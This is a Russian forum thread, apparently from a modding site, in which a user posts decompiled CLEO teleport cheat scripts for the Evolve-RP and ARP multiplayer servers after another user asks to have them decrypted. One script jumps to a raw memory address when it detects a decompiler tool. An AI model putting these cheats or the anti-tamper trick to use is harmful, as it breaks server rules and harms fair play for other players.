46 46 46 46 7d 5d 0a 5b 35 5d 20 d1 e8 f1 f2 e5
ec e0 20 f0 e5 ef ee f0 f2 e0 3a 20 5b 7b 41 41
45 39 35 32 7d cd ee e2 e0 ff 7b 46 46 46 46 46
46 7d 5d 0a 5b 35 5d 20 d0 e0 f1 ef f0 ee e4 e0
e6 e0 20 c2 c8 d0 d2 ce c2 3a 20 5b 7b 45 39 35
32 35 32 7d c2 ca cb 3a 20 32 38 30 31 33 39 33
35 35 24 7b 46 46 46 46 46 46 7d 5d 0a 7b 46 32
43 39 33 34 7d 5b 33 5d 7b 46 46 46 46 46 46 7d
20 46 61 73 74 41 6e 73 77 65 72 20 5b 7b 45 39
35 32 35 32 7d 77 6f 72 6b 7b 46 46 46 46 46 46
7d 5d 0a 7b 46 32 43 39 33 34 7d 5b 31 5d 7b 46
46 46 46 46 46 7d 20 ca e8 eb cb e8 f1 f2 20 5b
7b 45 39 35 32 35 32 7d c2 ca cb 7b 46 46 46 46
46 46 7d 5d 0a 7b 46 32 43 39 33 34 7d 5b 31 5d
7b 46 46 46 46 46 46 7d 20 ce ed eb e0 e9 ed 20
ee f0 e3 e0 ed e8 e7 e0 f6 e8 e9 0a 7b 46 32 43
39 33 34 7d 5b 31 5d 7b 46 46 46 46 46 46 7d 20
49 50 20 e0 e4 f0 e5 f1 e0 20 e2 20 f1 ee ee e1
f9 e5 ed e8 ff f5 20 5b 7b 45 39 35 32 35 32 7d
c2 ca cb 7b 46 46 46 46 46 46 7d 5d 0a 7b 46 32
43 39 33 34 7d 5b 31 5d 7b 46 46 46 46 46 46 7d
20 49 50 20 e0 e4 f0 e5 f1 e0 20 e2 20 f1 ee ee
e1 f9 e5 ed e8 ff f5 20 5b 7b 45 39 35 32 35 32
7d c2 ca cb 7b 46 46 46 46 46 46 7d 5d 00 48 45
58 00 01 00 00 00 33 1c 00 00 4e 05 00 00 56 41
52 00 f4 02 00 00 41 63 74 69 76 65 5f 49 6e 74
65 72 69 6f 72 00 2b 00 00 00 41 63 74 69 76 65
5f 49 6e 74 65 72 69 6f 72 5f 4e 61 6d 65 00 e4
04 00 00 41 63 74 6f 72 5f 43 61 74 61 6c
end
 

jeka1222

Известный
26
1
помогите декриптонуть
 

Вложения

  • etp(etp).cs
    7.5 KB · Просмотры: 10
  • tpp.cs
    112.7 KB · Просмотры: 9

asdzxcjqwe

¯\_(ツ)_/¯
Друг
621
705
помогите декриптонуть

CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP
0662: printstring "Телепорт на места: Evolve-Rp"
0662: printstring "Автор скрипта: Ded_Fedot"
0662: printstring "Контакты: vk.com/idedfedot"

:Label00006B
wait 0
   SAMP.Available
jf @Label00006B
wait 0
if or
0AAB:   file_exists "SAMPFUNCS\CDD.sf"
0AAB:   file_exists "SAMPFUNCS\CDD.ini"
jf @Label0000C4
0AA5: call 0x823BDB num_params 3 pop 3 0 0 0 
end_thread

:Label0000C4
0B34: samp register_client_command "etp" to_label @Label0014FE

:Label0000D0
wait 0
if
   SAMP.DialogRespond(8228, 1@, 2@, 0)
jf @Label0014F7
if
  1@ == 1
jf @Label0014F7
if
  2@ == 1
jf @Label000188
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000132

:Label000132
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000132
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 1481.094, -1771.76, 17.7958)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000188
if
  2@ == 2
jf @Label000212
chatmsg "Покиньте интерьер" 0xff0000
goto @Label0001BC

:Label0001BC
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label0001BC
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 1413.211, -1790.517, 14.4356)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000212
if
  2@ == 3
jf @Label00029C
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000246

:Label000246
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000246
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 1411.523, -1699.577, 12.5395)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label00029C
if
  2@ == 4
jf @Label000326
chatmsg "Покиньте интерьер" 0xff0000
goto @Label0002D0

:Label0002D0
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label0002D0
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, -2029.788, -120.5188, 34.1692)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000326
if
  2@ == 5
jf @Label0003B0
chatmsg "Покиньте интерьер" 0xff0000
goto @Label00035A

:Label00035A
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label00035A
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 2165.948, -1671.178, 14.0732)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label0003B0
if
  2@ == 6
jf @Label00043A
chatmsg "Покиньте интерьер" 0xff0000
goto @Label0003E4

:Label0003E4
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label0003E4
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 2595.226, 2790.526, 9.8203)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label00043A
if
  2@ == 7
jf @Label0004C4
chatmsg "Покиньте интерьер" 0xff0000
goto @Label00046E

:Label00046E
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label00046E
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, -1989.899, 1117.758, 53.4687)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label0004C4
if
  2@ == 9
jf @Label00054E
chatmsg "Покиньте интерьер" 0xff0000
goto @Label0004F8

:Label0004F8
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label0004F8
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 461.7078, -1500.823, 30.045)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label00054E
if
  2@ == 10
jf @Label0005D8
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000582

:Label000582
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000582
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, -1694.174, 951.2224, 24.8906)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label0005D8
if
  2@ == 11
jf @Label000662
chatmsg "Покиньте интерьер" 0xff0000
goto @Label00060C

:Label00060C
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label00060C
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 1368.919, -1279.642, 12.5469)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000662
if
  2@ == 12
jf @Label0006EC
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000696

:Label000696
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000696
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, -2625.761, 208.2346, 3.8125)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label0006EC
if
  2@ == 13
jf @Label000776
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000720

:Label000720
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000720
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 2159.545, 943.0937, 9.8203)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000776
if
  2@ == 15
jf @Label000800
chatmsg "Покиньте интерьер" 0xff0000
goto @Label0007AA

:Label0007AA
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label0007AA
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 1172.077, -1323.239, 14.4028)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000800
if
  2@ == 16
jf @Label00088A
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000834

:Label000834
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000834
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, -2664.63, 639.9489, 13.4531)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label00088A
if
  2@ == 17
jf @Label000914
chatmsg "Покиньте интерьер" 0xff0000
goto @Label0008BE

:Label0008BE
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label0008BE
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 1607.227, 1815.241, 10.8203)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000914
if
  2@ == 18
jf @Label00099E
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000948

:Label000948
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000948
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 1568.503, -1689.974, 5.2187)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label00099E
if
  2@ == 19
jf @Label000A28
chatmsg "Покиньте интерьер" 0xff0000
goto @Label0009D2

:Label0009D2
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label0009D2
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, -1594.211, 716.1555, -3.9062)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000A28
if
  2@ == 20
jf @Label000AB2
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000A5C

:Label000A5C
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000A5C
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, -2442.98, 494.3464, 490.1183)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000AB2
if
  2@ == 21
jf @Label000B3C
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000AE6

:Label000AE6
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000AE6
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, -1373.045, 498.8765, 9.1953)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000B3C
if
  2@ == 22
jf @Label000BC6
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000B70

:Label000B70
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000B70
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 340.5776, 1949.148, 21.0173)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000BC6
if
  2@ == 24
jf @Label000C50
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000BFA

:Label000BFA
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000BFA
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 1456.132, 2773.383, 8.8203)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000C50
if
  2@ == 25
jf @Label000CDA
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000C84

:Label000C84
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000C84
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 937.0802, 1733.14, 6.8516)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000CDA
if
  2@ == 26
jf @Label000D64
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000D0E

:Label000D0E
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000D0E
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 1455.053, 750.8289, 10.0234)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000D64
if
  2@ == 27
jf @Label000DEE
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000D98

:Label000D98
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000D98
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 2495.233, -1690.913, 13.7656)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000DEE
if
  2@ == 28
jf @Label000E78
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000E22

:Label000E22
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000E22
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 2770.686, -1628.723, 11.1775)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000E78
if
  2@ == 29
jf @Label000F02
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000EAC

:Label000EAC
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000EAC
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 2650.701, -2021.837, 13.1766)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000F02
if
  2@ == 30
jf @Label000F8C
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000F36

:Label000F36
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000F36
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 2185.797, -1815.228, 12.5469)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label000F8C
if
  2@ == 31
jf @Label001016
chatmsg "Покиньте интерьер" 0xff0000
goto @Label000FC0

:Label000FC0
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label000FC0
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 1667.46, -2106.939, 13.0723)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label001016
if
  2@ == 32
jf @Label0010A0
chatmsg "Покиньте интерьер" 0xff0000
goto @Label00104A

:Label00104A
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label00104A
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 681.5682, -473.346, 15.5363)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label0010A0
if
  2@ == 33
jf @Label00112A
chatmsg "Покиньте интерьер" 0xff0000
goto @Label0010D4

:Label0010D4
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label0010D4
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, -255.1496, 2603.362, 61.8582)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label00112A
if
  2@ == 34
jf @Label0011B4
chatmsg "Покиньте интерьер" 0xff0000
goto @Label00115E

:Label00115E
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label00115E
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 662.7566, 1716.422, 6.1875)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label0011B4
if
  2@ == 36
jf @Label00123E
chatmsg "Покиньте интерьер" 0xff0000
goto @Label0011E8

:Label0011E8
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label0011E8
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 1956.732, -2183.671, 12.5469)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label00123E
if
  2@ == 37
jf @Label0012C8
chatmsg "Покиньте интерьер" 0xff0000
goto @Label001272

:Label001272
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label001272
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 1928.581, -1776.096, 12.5469)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label0012C8
if
  2@ == 38
jf @Label001352
chatmsg "Покиньте интерьер" 0xff0000
goto @Label0012FC

:Label0012FC
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label0012FC
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, -78.412, -1169.988, 1.1354)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label001352
if
  2@ == 39
jf @Label0013DC
chatmsg "Покиньте интерьер" 0xff0000
goto @Label001386

:Label001386
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label001386
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, -1676.181, 432.1855, 6.1797)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label0013DC
if
  2@ == 40
jf @Label001466
chatmsg "Покиньте интерьер" 0xff0000
goto @Label001410

:Label001410
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label001410
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 2637.237, 1129.674, 11.1797)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label001466
if
  2@ == 41
jf @Label0014F0
chatmsg "Покиньте интерьер" 0xff0000
goto @Label00149A

:Label00149A
wait 0
077E: get_active_interior_to 4@
if
  4@ == 0
jf @Label00149A
Actor.LockInCurrentPosition($PLAYER_ACTOR) = True
Actor.PutAt($PLAYER_ACTOR, 2019.313, 1007.614, 8.8203)
wait 2000
Actor.LockInCurrentPosition($PLAYER_ACTOR) = False
018C: play_sound 1139 at 0.0 0.0 0.0

:Label0014F0
goto @Label0014F7

:Label0014F7
goto @Label0000D0

:Label0014FE
077E: get_active_interior_to 14@
if
  14@ > 0
jf @Label00157D
0AC6: 29@ = label @Label0015B7 offset
SAMP.ShowDialog(8228, "Телепорт {FF1A1A}Evolve-Rp", 29@, "{FFFFFF}Выбрать", "{FFFFFF}Закрыть", 2)
018C: play_sound 1139 at 0.0 0.0 0.0
SAMP.CmdRet

:Label00157D
chatmsg "Вы должны быть в интерьере" 0xff0000
018C: play_sound 1139 at 0.0 0.0 0.0
SAMP.CmdRet

// строки, смотреть через любой hex редактор (например, hxd)
:Label0015B7
hex
7B 43 37 43 37 43 37 7D C2 E0 E6 ED FB E5 3A 0A
7B 46 46 45 46 30 30 7D 31 2E 20 7B 46 46 46 46
46 46 7D CC FD F0 E8 FF 0A 7B 46 46 45 46 30 30
7D 32 2E 20 7B 46 46 46 46 46 46 7D CC FD F0 E8
FF 20 7B 46 46 45 46 30 30 7D 28 D7 E5 F0 ED FB
E9 20 F5 EE E4 29 0A 7B 46 46 45 46 30 30 7D 33
2E 20 7B 46 46 46 46 46 46 7D C1 E0 ED EA 0A 7B
46 46 45 46 30 30 7D 34 2E 20 7B 46 46 46 46 46
46 7D C0 E2 F2 EE F8 EA EE EB E0 0A 7B 46 46 45
46 30 30 7D 35 2E 20 7B 46 46 46 46 46 46 7D CD
E0 F0 EA EE EF F0 E8 F2 EE ED 0A 7B 46 46 45 46
30 30 7D 36 2E 20 7B 46 46 46 46 46 46 7D CF E5
E8 ED F2 E1 EE EB 0A 7B 46 46 45 46 30 30 7D 37
2E 20 7B 46 46 46 46 46 46 7D D6 E5 F0 EA EE E2
FC 0A 7B 33 31 43 46 46 36 7D CC E0 E3 E0 E7 E8
ED FB 3A 0A 7B 46 46 45 46 30 30 7D 38 2E 20 7B
46 46 46 46 46 46 7D CC E0 E3 E0 E7 E8 ED 20 EE
E4 E5 E6 E4 FB 20 CB D1 0A 7B 46 46 45 46 30 30
7D 39 2E 20 7B 46 46 46 46 46 46 7D CC E0 E3 E0
E7 E8 ED 20 EE E4 E5 E6 E4 FB 20 D1 D4 0A 7B 46
46 45 46 30 30 7D 31 30 2E 20 7B 46 46 46 46 46
46 7D CC E0 E3 E0 E7 E8 ED 20 EE F0 F3 E6 E8 FF
20 CB 43 0A 7B 46 46 45 46 30 30 7D 31 31 2E 20
7B 46 46 46 46 46 46 7D CC E0 E3 E0 E7 E8 ED 20
EE F0 F3 E6 E8 FF 20 D1 D4 0A 7B 46 46 45 46 30
30 7D 31 32 2E 20 7B 46 46 46 46 46 46 7D CC E0
E3 E0 E7 E8 ED 20 EE F0 F3 E6 E8 FF 20 CB C2 0A
7B 46 46 31 41 31 41 7D C1 E0 E7 FB 20 EE F0 E3
E0 ED E8 E7 E0 F6 E8 E9 3A 0A 7B 46 46 45 46 30
30 7D 31 33 2E 20 7B 46 46 46 46 46 46 7D CC E5
E4 E8 EA E8 20 CB D1 0A 7B 46 46 45 46 30 30 7D
31 34 2E 20 7B 46 46 46 46 46 46 7D CC E5 E4 E8
EA E8 20 D1 D4 0A 7B 46 46 45 46 30 30 7D 31 35
2E 20 7B 46 46 46 46 46 46 7D CC E5 E4 E8 EA E8
20 CB C2 0A 7B 46 46 45 46 30 30 7D 31 36 2E 20
7B 46 46 46 46 46 46 7D CF EE EB E8 F6 E8 FF 20
CB D1 0A 7B 46 46 45 46 30 30 7D 31 37 2E 20 7B
46 46 46 46 46 46 7D CF EE EB E8 F6 E8 FF 20 D1
D4 0A 7B 46 46 45 46 30 30 7D 31 38 2E 20 7B 46
46 46 46 46 46 7D D4 C1 D0 0A 7B 46 46 45 46 30
30 7D 31 39 2E 20 7B 46 46 46 46 46 46 7D C0 E2
E8 E0 ED EE F1 E5 F6 20 7B 46 46 45 46 30 30 7D
28 C3 D1 29 0A 7B 46 46 45 46 30 30 7D 32 30 2E
20 7B 46 46 46 46 46 46 7D C7 EE ED E0 20 35 31
20 7B 46 46 45 46 30 30 7D 28 CE F0 F3 E6 E5 E9
EA E0 29 0A 7B 46 35 42 41 33 31 7D CC E0 F4 E8
E8 20 7B 46 46 46 46 46 46 7D 2F 20 7B 46 35 42
41 33 31 7D C1 E0 ED E4 FB 20 7B 46 46 46 46 46
46 7D 2F 20 7B 46 35 42 41 33 31 7D C1 E0 E9 EA
E5 F0 FB 3A 0A 7B 46 46 45 46 30 30 7D 32 31 2E
20 7B 46 46 46 46 46 46 7D 59 61 6B 75 7A 61 0A
7B 46 46 45 46 30 30 7D 32 32 2E 20 7B 46 46 46
46 46 46 7D D0 F3 F1 F1 EA E0 FF 20 EC E0 F4 E8
FF 0A 7B 46 46 45 46 30 30 7D 32 33 2E 20 7B 46
46 46 46 46 46 7D 4C 61 20 43 6F 63 61 20 4E 6F
73 74 72 61 0A 7B 46 46 45 46 30 30 7D 32 34 2E
20 7B 46 46 46 46 46 46 7D 7B 35 39 41 39 33 37
7D 47 72 6F 76 65 20 53 74 72 65 65 74 0A 7B 46
46 45 46 30 30 7D 32 35 2E 20 7B 46 46 46 46 46
46 7D 7B 46 46 44 34 32 35 7D 56 61 67 6F 73 0A
7B 46 46 45 46 30 30 7D 32 36 2E 20 7B 46 46 46
46 46 46 7D 7B 44 39 34 33 45 34 7D 42 61 6C 6C
61 73 0A 7B 46 46 45 46 30 30 7D 32 37 2E 20 7B
46 46 46 46 46 46 7D 7B 30 30 38 36 39 30 7D 52
69 66 61 0A 7B 46 46 45 46 30 30 7D 32 38 2E 20
7B 46 46 46 46 46 46 7D 7B 30 30 44 43 45 43 7D
41 7A 74 65 63 61 73 0A 7B 46 46 45 46 30 30 7D
32 39 2E 20 7B 46 46 46 46 46 46 7D 4D 6F 6E 67
6F 6C 73 20 4D 43 0A 7B 46 46 45 46 30 30 7D 33
30 2E 20 7B 46 46 46 46 46 46 7D 4D 6F 6E 67 6F
6C 73 20 4D 43 0A 7B 46 46 45 46 30 30 7D 33 31
2E 20 7B 46 46 46 46 46 46 7D 57 61 72 6C 6F 63
6B 73 20 4D 43 0A 7B 38 33 44 31 37 30 7D D0 E0
E7 ED EE E5 3A 0A 7B 46 46 45 46 30 30 7D 33 32
2E 20 7B 46 46 46 46 46 46 7D C3 EE ED EA E8 0A
7B 46 46 45 46 30 30 7D 33 33 2E 20 7B 46 46 46
46 46 46 7D 32 34 2F 37 20 7B 46 46 45 46 30 30
7D 28 C3 E5 F2 F2 EE 29 0A 7B 46 46 45 46 30 30
7D 33 34 2E 20 7B 46 46 46 46 46 46 7D 32 34 2F
37 20 7B 46 46 45 46 30 30 7D 28 D4 E5 F0 EC E0
20 30 20 2F 20 D1 F2 EE FF ED EA E0 20 EC E5 F5
E0 ED E8 EA EE E2 29 0A 7B 46 46 45 46 30 30 7D
33 35 2E 20 7B 46 46 46 46 46 46 7D 32 34 2F 37
20 7B 46 46 45 46 30 30 7D 28 C0 E2 E8 E0 ED EE
F1 E5 F6 29 0A 7B 46 46 45 46 30 30 7D 33 36 2E
20 7B 46 46 46 46 46 46 7D 32 34 2F 37 20 7B 46
46 45 46 30 30 7D 28 4C 61 73 20 56 65 6E 74 75
72 61 73 20 4E 65 77 73 29 0A 7B 46 46 45 46 30
30 7D 33 37 2E 20 7B 46 46 46 46 46 46 7D CA E0
E7 E8 ED EE 20 7B 46 46 45 46 30 30 7D 28 34 20
E4 F0 E0 EA EE ED E5 29 0A 7B 46 46 46 46 46 46
7D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0A 7B 46 46 46 46
46 46 7D C0 E2 F2 EE F0 3A 20 7B 46 46 31 41 31
41 7D 44 65 64 5F 46 65 64 6F 74 0A 7B 46 46 46
46 46 46 7D CA EE ED F2 E0 EA F2 FB 3A 20 7B 46
37 46 46 30 30 7D 76 6B 2E 63 6F 6D 2F 69 64 65
64 66 65 64 6F 74 00
end
 
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Реакции: jeka1222

jeka1222

Известный
26
1
помогите еще эти скрипты декриптонуть
 

Вложения

  • ARP_Tp.cs
    18.7 KB · Просмотры: 9
  • tpp.cs
    112.7 KB · Просмотры: 7

asdzxcjqwe

¯\_(ツ)_/¯
Друг
621
705
помогите еще эти скрипты декриптонуть

CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP
0662: printstring "Made by DS_"
thread "Label))0"

:Label00001D
wait 0
   SAMP.Available
jf @Label00001D
chatmsg "[ARP TP]: {ffffff}by DubStep_ started. Special for K0tenok" 65280
SAMP.GetScreenResolution(10@, 11@)
10@ /= 2
10@ += 150
11@ /= 2
Dialog.Create(0@, "{808080}Teleport by DubStep_{909080} for K0tenok")
Dialog.SetRECT(0@, 10@, 11@, 410, 310)
Dialog.AddListBox(0@, 10, 5, 5, 400, 250)
Dialog.ListBoxInsertElement(0@, 10, "Магазин Одежды LS", 4@, -1)
Dialog.ListBoxInsertElement(0@, 10, "Магазин Одежды SF", 4@, -1)
